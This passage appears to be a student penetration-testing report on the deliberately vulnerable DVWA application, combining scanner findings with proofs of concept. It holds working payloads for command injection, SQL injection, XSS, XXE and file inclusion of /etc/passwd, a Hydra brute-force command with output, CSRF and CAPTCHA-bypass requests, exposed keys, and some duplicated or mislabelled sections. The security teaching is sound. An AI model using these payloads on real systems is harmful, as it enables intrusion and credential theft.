How to fix: Configure the X-Frame-Options header as 'deny' to prevent it from being embedded at all. The values 'same-origin' or 'allow- from DOMAIN' can be used to allow it to be embedded on certain websites while forbidding embedding on other websites.

Recommendations:
https://wiki.crashtest-security.com/enable-security-headers

Content-Security-Policy Header

Severity	
Base Score:	medium (6.5/10)
Impact:	low (2.5/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The Content-Security-Policy header tells the browser which domains are whitelisted to download further resources such as scripts, images or stylesheets from. This can prevent various XSS and other Cross-Site-Scripting attacks.

Finding: +The Content-Security-Policy header is not set for URL https://dvwa-login.test.crashtest.cloud.

How to fix: Configure the Content-Security-Policy header in a way that it only allows loading resources from trusted resources such as 'self'. Do

not include ’unsafe-eval’ or ’unsafe-inline’ in order to prevent direct injections into the website.

Recommendations:
https://wiki.crashtest-security.com/enable-security-headers

Missing HSTS

Severity	
Base Score:	medium (4.8/10)
Impact:	low (2.5/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The webserver does not offer HTTP Strict Transport Security (HSTS). HSTS enforces HTTPS connections, which pre- vents downgrade attacks to an insecure HTTP connection.

Finding: + The Strict-Transport-Security (HSTS) header is not set for URL https://dvwa-login.test.crashtest.cloud.

How to fix: The webserver does not offer HTTP Strict Transport Security (HSTS). HSTS enforces HTTPS connections. This pre- vents downgrade attacks to an insecure HTTP connection. Depending on the used SSL certificate and the webserver certain configurations have to be changed. More details on how to enable HSTS can be found in the knowledge database (see Recommendations)

Recommendations: https://wiki.crashtest-security.com/enable-hsts

Referrer-Policy Header

Severity	
Base Score:	medium (4.3/10)
Impact:	low (1.4/10)
Exploitability:	low (2.8/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The Referrer-Policy header defines how much information about the referrer is sent, when the user clicks on a link. A misconfiguration or missing header may leak sensitive information to third party websites that are visited by the click on a link.

Finding: +The Referrer-Policy header is not set for URL https://dvwa-login.test.crashtest.cloud.

How to fix: Set the Referrer-Policy header to a secure value such as 'strict-origin-when-cross-origin' to overwrite the Referer header with your domain instead of the full path when clicking on external links and keep the Referer for internal links, but only when the connection is not downgraded from HTTPS to HTTP.

Recommendations:
https://wiki.crashtest-security.com/enable-security-headers

X-Content-Type-Options Header

Severity	
Base Score:	medium (4.3/10)
Impact:	low (1.4/10)
Exploitability:	low (2.8/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The X-Content-Type-Options prevents the browser from trying to detect MIME-types on downloaded files. This pro- tects against attacks in cases where a malicious file is offered with an unsuspicious MIME-type.

Finding: + The X-Content-Type-Options header is not set for URL https://dvwa-login.test.crashtest.cloud.

How to fix: Set the X-Content-Type-Options header to 'nosniff' in order to prevent the browser from detecting MIME-types based on file content.

Recommendations:
https://wiki.crashtest-security.com/enable-security-headers

Finger Printing

What is this?

The responses a server sends to its client often contain more information then necessary. This surplus of information makes it possible to draw conclusions about the servers software or used programming languages. It could reveal the version of the web application and the libraries in use.

The analysis of these information is called fingerprinting. Based on fingerprinting, an attacker can get valuable input to plan and carry out his attack. Without it, an attacker is attacking blindly. Whenever a special version of a server or a web application is vulnerable for an attack, crawlers search the web for traces of this version and start an attack if they found one. So it is likely that someone gets attacked just because they leak these information, and therefore show that your application or server is vulnerable.

Fingerprint Web Application Framework

Severity	
Base Score:	critical (10/10)
Impact:	overwritten by CVE
Exploitability:	overwritten by CVE

All values are based on the Common Vulnerability Scoring System v3.

Description: The installed web application framework(s) offer information about their version. This opens attackers the possibility to look for exploits specifically targeting the software running in its exact version.

Finding: + Found PHP running in version 5.5.9. (203 connected CVE issues have been found. The most severe vulnerability has a CVSS score of critical (10/10). See Appendix PHP 5.5.9 CVE FINDINGS for a detailed list of the CVEs)

How to fix: Depending on the used application there are multiple ways to remove version information. Some applications also share the information in multiple places, which makes it harder to remove it. Common places for version information are the filename of included libraries like ”jquery.3.2.1.min.js” or the documentation within a file, where the version number is stated within the first lines. While some information is required to be left within these files as a part of the copyright, other information like the version number can be removed. Other places could be the footer of an application ”powered by Wordpress 4.9.1” or meta-tags within the header of the website. Unlike servers, most web applications cannot remove these information via a config file and therefore need to be removed manually, by editing the specific templates and files. More details on how to fix this problem can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/prevent-web-application-framework-information-leakage

Fingerprint Web Server

Severity	
Base Score:	high (7.5/10)
Impact:	overwritten by CVE
Exploitability:	overwritten by CVE

All values are based on the Common Vulnerability Scoring System v3.

Description: The X-Content-Type-Options prevents the browser from trying to detect MIME-types on downloaded files. This pro- tects against attacks in cases where a malicious file is offered with an unsuspicious MIME-type.

Finding: + The X-Content-Type-Options header is not set for URL https://dvwa-login.test.crashtest.cloud.

How to fix: Set the X-Content-Type-Options header to 'nosniff' in order to prevent the browser from detecting MIME-types based on file content.

Recommendations:
https://wiki.crashtest-security.com/enable-security-headers

Port Scan

What is this?

A port is a kind of door on the server that can be used to connect to a specific service. For a webserver the port 80 and port 443, which are for HTTP/HTTPS, are most likely open to serve the website to the users. Other ports should be closed if they are not needed for any service. The portscanner tests the webserver with a SYN scan for a wide range of possibly open ports and reports them back. If there are any other open ports except of port 80 and port 443, they should be blocked by the firewall if they are not needed.

Portscanner

Severity	
Base Score:	informational (0/10)
Impact:	informational (0/10)
Exploitability:	informational (0/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: Unneeded open ports on the webserver opens a large attack surface to a malicious user. This can be used to find unmaintained and possibly vulnerable network services that can be targeted.

Finding: +Found open port ”443/tcp” with service name ”Apache httpd”
+ Found open port ”80/tcp” with service name ”Apache httpd”

How to fix: Unnecessarily open ports can be closed by setting up a firewall and block connections to all ports except of those that are needed by the server. Furthermore services that are not needed should be uninstalled.

Recommendations:
https://wiki.crashtest-security.com/insecure-network-services-open-port-scanner

Fuzzer

What is this?

Fuzzing, or robustness testing, fuzzy testing or negative testing, is a software testing technique that uses random or pre-defined data as input for a program. The random data can be used to simulate the later use, in which not only plausible data must be processed. In this case, the Fuzzer is looking for publicly available default paths through which attackers could gain access to the system. Those default paths may leak sensitive information or grant access to functionality which modifies the application.

Sensitive Data Exposure

Severity	
Base Score:	medium (5.3/10)
Impact:	low (1.4/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: The server grants access to a file or directory which might contain sensitive data. This can either leak sensitive data itself or allow an attacker to use the provided information to prepare a further attack.

Finding: +Retrieved https://dvwa-login.test.crashtest.cloud/setup.php by using a GET request on the URL without prior knowledge.
+ Retrieved https://dvwa-login.test.crashtest.cloud/.git/ by using a GET request on the URL without prior knowledge.
+ Retrieved https://dvwa-login.test.crashtest.cloud/CHANGELOG.md by using a GET request on the URL without prior knowledge.
+Retrievedhttps://dvwa-login.test.crashtest.cloud/docs/byusingaGETrequestontheURLwithoutpriorknowl- edge.
+Retrievedhttps://dvwa-login.test.crashtest.cloud/config/byusingaGETrequestontheURLwithoutpriorknowl- edge.
+Retrievedhttps://dvwa-login.test.crashtest.cloud/README.mdbyusingaGETrequestontheURLwithoutprior knowledge.
+Retrievedhttps://dvwa-login.test.crashtest.cloud/php.inibyusingaGETrequestontheURLwithoutpriorknowl- edge.

How to fix: In some cases, it is completely OK to expose certain file paths as long as it is on purpose. While they can be exposed on purpose, others may be unwillingly exposed. These paths can either be protected by Basic Auth (htaccess) or be re- moved as they might not be needed on a production environment. More details on how to avoid exposing unnecessary information can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/sensitive-data-exposure

Command Injection

What is this?

Command injection is a vulnerability which is caused if the web application executes data from an untrusted source without proper validation. With this vulnerability, an attacker can execute any available system command. This can lead to an entirely compromised system.

Command Injection

Severity	
Base Score:	critical (9.8/10)
Impact:	medium (5.9/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: Command injection allows an attacker to execute arbitrary system commands.

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/exec/
Method:	POST
Parameter:	ip
Payload:	; echo crashtest-security$((12*12))

How to fix: user input has to be checked for malicious requests by the web application. Untrusted user input should not be passed to functions like ”exec()” or ”system()” without a sanity check.

Recommendations:
https://wiki.crashtest-security.com/command-injection

Deserialization

What is this?

Insecure Deserialization is an attack where a manipulated object is injected into the context of the web application. If the application is vulnerable, the object is deserialized and executed, which can result in SQL Injection, Path Traversal, Application Denial of Service and Remote Code Execution.

Insecure Deserialization

Severity	
Base Score:	high (8.1/10)
Impact:	medium (5.9/10)
Exploitability:	low (2.2/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: Insecure Deserialization allows an attacker to inject a manipulated object into the web application.

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/deserialize/?Submit=Submit&data=O%3A9%3A%22TestClass%22%3A1%3A%7Bs%3A15%3A%22%00TestClass%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Method:	GET
Parameter:	data
Payload:	phpinfo();

How to fix: Do not pass untrusted serialised objects to the unserialized function

Recommendations:
https://wiki.crashtest-security.com/insecure-deserialization

File Inclusion

What is this?
Local/remote file inclusion is a vulnerability which is caused by including files in the web application without validating which file is going to be included. The attacker attempts to include arbitrary files from the webserverś hard drive to identify existing user accounts or passwords. In some cases, it is possible to include files from a remote server, which is under the control of the attacker. This vulnerability can lead to exposing sensitive files on the web server and could also result in a remote code execution, which would entirely compromise the target machine.

Local File Inclusion

Severity

Base Score:	critical (9.8/10)
Impact:	medium (5.9/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: Local file inclusion allows an attacker to include arbitrary local files in the website

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/fi/?page=/etc/passwd
Method:	GET
Parameter:	page
Payload:	/etc/passwd

How to fix: Every user input has to be checked for malicious requests by the web application. For example, the files which are allowed to be included (whitelisted) are written into an array. For every request, the web application should check the whitelist to see if the required file is allowed for inclusion.

Recommendations: https://wiki.crashtest-security.com/file-inclusion

SQL Injection

What is this?

SQL injection refers to the exploitation of a SQL database vulnerability caused by the lack of masking or validation of meta-characters in user input. The attacker attempts to inject his own database commands through the application which has access to the database. As the request is not validated correctly, the inserted code changes the original SQL commands and therefore alters the results in favour of the attacker. With a successful attack, the attacker is able to spy on data, modify it or delete it altogether, and gain control over the server. For this to work, the attacker has different ways to breach the system. For example, it is possible to find a way into the system via response time or error messages.

SQL Injection

Severity	
Base Score:	critical (9.1/10)
Impact:	medium (5.2/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: application is vulnerable to an SQL injection. This allows an attacker to run SQL code in your database so that he may retrieve, change or delete data from your database.

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/sqli_blind/?Submit=Submit&id=-7170'%20OR%201763=1763%20AND%20'yHFd'='yHFd
Method:	GET
Parameter:	id (GET)
Payload:	Submit=Submit&id=-7170' OR 1763=1763 AND 'yHFd'='yHFd

How to fix: The simple answer is: Sanitize the user's input before sending it to the database. Sanitising includes escaping all potentially harmful characters not to let them affect the resulting SQL query. There are multiple ways to do so, and most common frameworks also support ways to simplify this step. One possible solution is to use Object-relational mapping libraries to take care of sanitising. In case direct SQL queries are required, it is recommended to use so-called" prepared statements". These are queries containing placeholders for the user's input, and while binding the input in the query, the user's data will be escaped. More details on how to use these methods can be found in the knowledge database (see Recommendations).

Recommendations: https://wiki.crashtest-security.com/sql-injections

XSS

What is this?

Cross-site scripting (XSS) refers to exploiting a computer security vulnerability in web applications by causing an attacker to infect web

pages with client-side scripts that other users invoke. In 2007, XSS accounted for about 80% of the exploited vulnerabilities in web applications on cross-site scripting accounts. The impact of XSS can be between a minor nuisance and a significant security risk, depending on the sensitivity of the data. With XSS, an attacker can, for example, bypass access controls, steal client data or place external content like advertisements, redirects or spam in an application. Cross-site scripting provides the foundation for a variety of other attacks, such as session hijacking or session fixation.

Cross-Site Scripting (XSS)

Severity

Base Score:	medium (6.1/10)
Impact:	low (2.7/10)
Exploitability:	low (2.8/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: Cross-Site Scripting (XSS) allows an attacker to send malicious code to a different user.

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/xss_r/?name=%3Csvg%200e379ffc-7e0b-49c5-a125-bcfd1f2794eb%20%22ons%3E
Method:	GET
Parameter:	name
Payload:	<svg 0e379ffc-7e0b-49c5-a125-bcfd1f2794eb "ons>

How to fix: XSS can be prevented by sanitizing the users input before saving to a database or returning it back to the user. In most cases the

attacker injects JavaScript into the application. By escaping the ”<script>” tags, this can be avoided. More details on how to fix this problem can be found in the knowledge database (see Recommendations)

Recommendations:
https://wiki.crashtest-security.com/cross-site-scripting

DOM based Cross-Site Scripting (XSS)

Change the url from http://localhost/dvwa/vulnerabilities/xss_d/?default=English
to
http://localhost/dvwa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%22Hacked%22%3C/script%3E

Severity	
Base Score:	medium (6.1/10)
Impact:	low (2.7/10)
Exploitability:	low (2.8/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: DOM based Cross-Site Scripting (XSS) allows an attacker to send malicious code to a different user by modifying the DOM environment in the browser of the user.

Finding: + The potentially vulnerable code was found on url ’https://dvwa-login.test.crashtest.cloud/ids_log.php’. An at- tacker may be able to inject JavaScript using the the code ’window.name’ at line 42:188 and control its display using the code ’eval’ at line 42:183
+ The potentially vulnerable code was found on url ’https://dvwa-login.test.crashtest.cloud/security.php’. An at- tacker may be able to inject JavaScript using the the code ’window.name’ at line 69:34 and control its display using the code ’eval’ at line 69:29
How to fix:DOM based XSS can be prevented by using save JavaScript

properties like ’element.textContent’ for untrusted user in- put. Furthermore DOM based XSS can be avoided by using JavaScript methods like ’innerText’ or ’textContent’ instead of ’innerHtml’. More details on how to fix this problem can be found in the knowledge database (see Recommenda- tions)

Recommendations:
https://wiki.crashtest-security.com/cross-site-scripting

XXE

What is this?

XXE is a vulnerability that arises if web applications handle XML documents from an untrusted source without proper validation. In order to exploit this vulnerability an attacker extends the XML document with a document type definition (DTD) that includes a external entity. If the website passes the XML document to the XML parser the external entity will be called in some cases. This can lead to sensitive data exposure or even remote code execution.

Cross-Site Scripting (XSS)

Severity	
Base Score:	critical (9.4/10)
Impact:	medium (5.5/10)
Exploitability:	low (3.9/10)

All values are based on the Common Vulnerability Scoring System v3.

Description: XXE allows an attacker to inject malicious XML documents into the website, which is then executed. This can lead to sensitive data disclosure or remote code execution.

Finding:

URL:	https://dvwa-login.test.crashtest.cloud/vulnerabilities/xxe/?Submit=Submit&xml=%3C?xml%20version='1.0'%20encoding='utf-8'?%3E%0A%3C!DOCTYPE%20creds%20%5B%0A%3C!ELEMENT%20user%20ANY%20%3E%0A%3C!ELEMENT%20pass%20ANY%20%3E%0A%3C!ENTITY%20user%20SYSTEM%20'file:///etc/passwd'%3E%5D%3E%0A%0A%3Ccreds%3E%3Cuser%3E%26user;%3C/user%3E%3Cpass%3E%26user;%3C/pass%3E%3C/creds%3E
Method:	GET
Parameter:	xml
Payload:	<?xml version='1.0' encoding='utf-8'?> <!DOCTYPE creds [<!ELEMENT user ANY > <!ELEMENT pass ANY > <!ENTITY user SYSTEM 'file:///etc/passwd'>]> <creds><user>%26user;</user><pass>%26user;</pass></creds>

How to fix: If XML documents are communicated from an untrusted

source, the XML processor should be configured to disallow any declared document type definition (DTD) included in the XML document.

Recommendations: https://wiki.crashtest-security.com/xxe-processing

Some other vulnerabilities found include:

Insufficient Password Policy (Brute Force)

Affected Systems: 172.17.0.2
Resource: Burp Suite
Risk: Moderate
Likelihood: Possible
Impact: High
Vulnerability Description: The user of the application can set a weak password. These passwords are prone to brute-force attacks. Confidentiality cannot be ensured.
Proof of Concept:

Recommendation: A password policy should be both implemented and enforced. Strong passwords must meet the requirement of a minimum password length of eight characters. Longer passwords are generally more secure.

Brute force attack can also be performed in kali linux using the Hydra tool.

To prevent this, we must use strong passwords, Restrict access to authentication URLs, Limit login attempts and Use CAPTCHAS.

```
collins@kali: /usr/share/wordlists
collins@kali: ~/Downloads | collins@kali: ~/natas15/New Folder/lins/burps... | collins@kali: /usr/share/wordlists | collins@kali: /usr/share/seclists/Passwords | collins@kali: /usr/share/wordlists

(base) ┌──(collins㉿kali)-[/usr/share/wordlists]
└─$ hydra 10.10.117.208 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form "/vulnerabilities/brute/:/?username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: PHPSESSID
=mnq184runbaup5spl6k66spdn7; security=Low" -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-04 23:53:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://10.10.117.208:80/vulnerabilities/brute/:/?username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: PHPSESSID=mnq184runbaup5spl6k66spdn7; securi
ty=Low
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.117.208 - login "admin" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[80][http-get-form] host: 10.10.117.208   login: admin   password: password
[80][http-get-form] host: 10.10.117.208   login: admin   password: princess
[80][http-get-form] host: 10.10.117.208   login: admin   password: 12345
[80][http-get-form] host: 10.10.117.208   login: admin   password: 123456789
[80][http-get-form] host: 10.10.117.208   login: admin   password: iloveyou
[80][http-get-form] host: 10.10.117.208   login: admin   password: rockyou
[80][http-get-form] host: 10.10.117.208   login: admin   password: 12345678
[80][http-get-form] host: 10.10.117.208   login: admin   password: nicole
[80][http-get-form] host: 10.10.117.208   login: admin   password: babygirl
[80][http-get-form] host: 10.10.117.208   login: admin   password: abc123
[80][http-get-form] host: 10.10.117.208   login: admin   password: jessica
[80][http-get-form] host: 10.10.117.208   login: admin   password: 123456
[80][http-get-form] host: 10.10.117.208   login: admin   password: 1234567
[80][http-get-form] host: 10.10.117.208   login: admin   password: lovely
[80][http-get-form] host: 10.10.117.208   login: admin   password: daniel
[80][http-get-form] host: 10.10.117.208   login: admin   password: monkey
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-04 23:53:59

(base) ┌──(collins㉿kali)-[/usr/share/wordlists]
└─$
```

Insecure CAPTCHA

Resource: Burp Suite
Severity: Medium
CAPTCHA is the abbreviation of Completely Automated Public Turing Test to Tell Computers and Humans Apart.
Captchas are usually used to prevent robots to make an action instead of humans. It should add an extra layer of security but badly configured it could lead to unauthorized access.
Proof of Concept:
1. Click on the link to register for the key

2. Enter label as dvwa and domain as localhost
3. Copy the site key and secret key
4. Paste it in the config.inc.php

```
#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ]  = '6Lctp20bAAAAAFqxdUb5IrY1J_YYExDjyjI15yr7';
$_DVWA[ 'recaptcha_private_key' ] = '6Lctp20bAAAAAPmWpSiNFEZBpCrFGYgXTwz49-62';
```

5. Enter username and password
6. Click on forward and make intercept off

```
1  POST /DVWA/vulnerabilities/captcha/ HTTP/1.1
2  Host: localhost
3  User-Agent: reCAPTCHA
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate
7  Referer: http://localhost/DVWA/vulnerabilities/captcha/
8  Content-Type: application/x-www-form-urlencoded
9  Content-Length: 127
10 Connection: close
11 Cookie: security=high; PHPSESSID=buln4obvf39kcqmohcpvv0fqej
12 Upgrade-Insecure-Requests: 1
13
14 step=1&password_new=000000&password_conf=000000&g-recaptcha-response=hidd3n_valu3&user_token=54a19cf9545eb16645f42d8bd328a51c&Change=Change
```

7. The password is Changed

Mitigation

1. Use an extensive database of questions
2. Do not give a positive response code in the else part of the if-else clause.

Cross-site Request Forgery (CSRF)

Severity: High

Cross-site request forgery is a type of malicious exploit of a website where unauthorized commands are submitted from a user that the web application trusts.
In a CSRF attack, an innocent end user is tricked by an attacker into

submitting a web request that they did not intend. This may cause actions to be performed on the website that can include inadvertent client or server data leakage, change of session state, or manipulation of an end user's account.

Proof of Concept:

1.Change the password to 1234

2.Copy the form from source code

```
<form action="#" method="GET">
    New password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
    Confirm new password:<br />
    <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
    <br />
    <input type="submit" value="Change" name="Change">

</form>
```

3. Change the source code in notepad and save as mysite.html

mysite.html - Notepad

File Edit Format View Help

```
<form action="http://localhost/dvwa/vulnerabilities/csrf/?" method="GET">
                        <h1>click the button below to get 1 lakh<h1>
                        <input type="hidden" AUTOCOMPLETE="off" name="password_new" value="hacked">
                        Confirm new password:<br />
                        <input type="hidden" AUTOCOMPLETE="off" name="password_conf" value="hacked">
                        <input type="submit" value="Change" name="Change">

                </form>
```

4. Open the mysite.html in Google Chrome Browser

5. Click on Change to set the new password to "hacked"

Mitigation:

1. Make sure that the request you are receiving is valid

2. Make sure that the request comes from a legitimate client.

3. Implement an anti-CSRF Token.

<u>File Upload</u>

Severity: High

Whenever the web server accepts a file without validating it or keeping any restriction, it is considered as an unrestricted file upload.

This Allows a remote attacker to upload a file with malicious content.

This might end up in the execution of unrestricted code in the server.

Proof of Concept

1. Save the following code in notepad as hack.html.jpg

*Untitled - Notepad

File Edit Format View Help

```
<html>
<body>
<script>alert("You have been Hacked")</script>
</body>
</html>
```

2. Go back to DVWA and select this file using browse. before we click on upload, we need to fire up Burp Suite. Click on the network and proxy tab and change your proxy settings to manual. In our case Burp Suite is the proxy. By default Burp Suite operates in the following address- 127.0.0.1:8080. So in the browser, set the IP address as 127.0.0.1 and the port as 8080.

3. In Burp Suite, under the proxy tab, make sure that intercept mode is on.

4. In the DVWA page, click on the upload button. in Burp SuiteIn the parameter filename(as highlighted in the image) change ‘hack.html.jpg’ to ‘hack.html’ and click forward.

5. In the DVWA page we will get a message saying the file was uploaded successfully and the path of the uploaded file is also given.

6. If we go to the location we will get a list of files that have been uploaded including our file as well.

Click on hack.html and the dialog box saying ‘You have been hacked’ opens up.

Mitigation:

1. Allow only specific file extensions

2. Set maximum file size and name length

3. Allow only authorized users

4. Keep your website updated

Content Security Policy (CSP)

Severity: High

CSP stands for Content Security Policy which is a mechanism to define which resources can be fetched out or executed by a web page. In other words, it can be understood as a policy that decides which scripts, images, and iframes can be called or executed on a particular page from different locations. Content Security Policy is implemented via response headers or meta elements of the HTML page.

Proof of Concept:

1. Open the source code

```
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-
analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';
```

2. Open https://pastebin.com/raw/R570EE00
3. Open https://pastebin.com and create a Script
4. Click on raw and paste the URL in the box provided
5. Click on include.

JavaScript

Severity: High

JavaScript is a competent programming language. An attacker can use these abilities, combined with XSS vulnerabilities, simultaneously as part of an attack vector. So instead of XSS being a way just to obtain critical user data, it can also be a way to conduct an attack directly from the user's browser.

Proof of Concept:

1. Press CTRL+U and copy the form

```
<form name="low_js" method="post">
    <input type="hidden" name="token" value="" id="token" />
    <label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase" />
    <input type="submit" id="send" name="send" value="Submit" />
</form><script>
```

2. Change the code to

```
<form name="low_js" method="post" action="http://localhost/dvwa/vulnerabilities/javascript/">
                <input type="hidden" name="token" value="" id="token">
                <label for="phrase">Phrase</label> <input type="text" name="phrase" value="success" id="phrase">
                <input type="submit" id="send" name="send" value="Submit">
        </form><script>
```

3. Open the file and click on submit

Mitigation

1. Filter input on arrival
2. Encode data on output
3. Use appropriate response headers
4. Content security policy

Exploit Execution Findings

We were able to extract a lot of data from the website by using the above-mentioned procedures. This includes gaining full access to the website's database, including the user's usernames, passwords and profile photos. We were also able to gain the complete source code of the website and make changes to the website's interface.

Here are the links containing all the information of the websites

Database:
https://drive.google.com/drive/folders/1Fx-oaj4BsoIQ1PC0IBULiy1QSKuk8YUD?usp=sharing

Users:

https://drive.google.com/drive/folders/1EET99nl8AlCpl2mBtiPSatS6-j4s4Pb2?usp=sharing

Source code:

https://drive.google.com/drive/folders/1Wn7D6EHVky_4gipmsbOMHuDvb7880WYg?usp=sharing

Hackable content:

https://drive.google.com/drive/folders/1VIJYUR0_grCi7G_Wr77ilyV2_23OvPOh?usp=sharing

Vulnerabilities Found:

https://drive.google.com/drive/folders/1GTxFmDZ0XVBG3tkzGw6qT0VLTzPYU38A?usp=sharing

Resources to Deploy the Website:

https://drive.google.com/drive/folders/1mtPDdZtLVaLdBiOyZrMjWpnNaseKdVj5?usp=sharing

Conclusion

In this project, we learnt about the types of vulnerabilities a website can have and how to exploit them. While some vulnerabilities did not have the potential to cause much harm, some vulnerabilities can cause significant damage and can cause the company great loss. It is our duty as security professionals to inform the company about these vulnerabilities and help them correct them.

In conclusion, the cyber security and ethical hacking project has been a significant undertaking with essential implications for protecting information systems and ensuring the integrity of digital environments. Through this project, several key findings and outcomes have emerged.

Firstly, the project has highlighted the critical importance of proactive measures in securing digital assets and defending against potential threats. By employing ethical hacking techniques, vulnerabilities within systems and networks were identified, thereby allowing for prompt remediation and reinforcement of security measures. This approach has proven instrumental in fortifying the organisation's defences and minimising potential risks.

Moreover, the project has shed light on the evolving nature of cyber threats and the need for continuous monitoring and adaptation. As new attack vectors and techniques emerge, it is essential to stay abreast of the latest developments and maintain a proactive stance towards cybersecurity. The ethical hacking component of the project has served as an invaluable tool for simulating real-world attacks and testing the robustness of existing security measures.

Furthermore, the project has emphasised the significance of ethical considerations and responsible practices in the realm of hacking. Adhering to established ethical guidelines and obtaining proper authorisation for penetration testing and vulnerability assessments ensures that the project's activities remain within legal and ethical boundaries. This approach promotes a culture of responsible hacking and fosters trust among stakeholders.

Additionally, the project has highlighted the importance of collaboration and interdisciplinary approaches to cyber security. Adequate protection against cyber threats requires the involvement of various stakeholders, including IT professionals, system administrators, managers, and end-users. By engaging in cross-functional collaboration, the project has fostered a shared understanding of security challenges and facilitated the development of comprehensive solutions.

Lastly, the project has reinforced the notion that cyber security is an ongoing process rather than a one-time endeavour. It is imperative to regularly assess and update security measures, conduct regular audits, and provide ongoing training to maintain a strong security posture. The findings and recommendations from this project serve as a foundation for future improvements and further enhancement of the organisation's cyber security capabilities.

In summary, the cyber security and ethical hacking project has been instrumental in identifying vulnerabilities, fortifying defences, promoting ethical practices, fostering collaboration, and emphasising the importance of continuous improvement in the realm of cyber security. By implementing the project's recommendations and lessons learned, the organisation can enhance its resilience against cyber threats and protect its valuable digital assets.